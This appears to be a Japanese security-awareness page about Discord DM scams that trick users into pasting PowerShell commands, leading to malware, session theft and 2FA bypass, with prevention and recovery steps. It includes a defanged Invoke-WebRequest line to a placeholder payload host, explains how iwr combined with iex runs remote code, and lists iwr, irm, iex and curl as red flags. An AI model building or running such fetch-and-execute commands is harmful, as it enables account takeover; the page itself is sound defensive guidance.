表で見える動き
DMと偽の案内
雑に言うと
無料、知人からのDM、急かし。この3つで判断を雑にさせます。普段なら怪しいコマンド貼り付けも、流れで通してしまうのが狙いです。
裏で起きること
ざっくりした処理の流れ
1スクリプトを実行させる
2外部サーバーからコードを取得
3マルウェアが実行される
4セッションや情報を窃取
5アカウントへアクセス
コマンドの読み方
見るべきポイントだけ
これは無害化した例です。実行しないでください。
PowerShell · defanged sample
$response = Invoke-WebRequest "hxxps://example[.]invalid/payload"
# The returned content is intentionally not executed in this sample.外部URLから文字列を取り、それをPowerShellとして評価する形です。実体は外側のサーバーで差し替えられます。
iwr
iwr は外部URLへHTTPリクエストを投げます。
iex
iex は渡された文字列をPowerShellとして実行します。
組み合わせの危険性
取得と実行が一行にまとまると、中身を見る前に外部コードが走ります。ここが危ない。
2FAで止まらない理由
ログイン前ではなくログイン後の話
2FAは新規ログインを強くします。ただ、ログイン済みセッションを盗まれると話が別です。
通常のログイン
- 1パスワードを入力
- 22FAで本人確認
- 3ログイン成功
- 4セッションが発行される
セッション窃取
- 1マルウェアが実行される
- 2既存セッションが盗まれる
- 3認証済み状態が再利用される
- 4アカウントが操作される
突破というより、2FA後の状態を盗む
セッションが生きていると、攻撃者はログイン手順を踏まずに済む場合があります。だからパスワード変更だけでなく、全セッションのログアウトまでやる必要があります。
対策
Prevention
- Nitroや無料機能のためにPowerShell/CMDを実行しない
- iwr、irm、iex、curl、短縮URLが見えたら止まる
- 知人から来ても別経路で確認する
- Discordの2FAを有効にしてバックアップコードを保管する
- OS、ブラウザ、Discordを更新しておく
実行した後
やる順番
順番が重要です
怪しい端末で先にパスワード変更しない。新しいパスワードまで抜かれる可能性があります。
- 1端末をネットワークから切る
Wi-Fi、有線LAN、VPNを切って追加通信を止める。
- 2別端末からパスワード変更
Discordと、使い回していたサービスをまとめて変える。
- 3全セッションをログアウト
盗まれたセッションを残さない。
- 42FAと復旧情報を見る
バックアップコード、認証アプリ、復旧メールを確認する。
- 5端末をスキャン
Defenderなどを更新してフルスキャン。怪しければ初期化も検討。
- 6周囲に知らせる
自分から届いたリンクやファイルを開かないよう伝える。
参考情報・ソース
Sources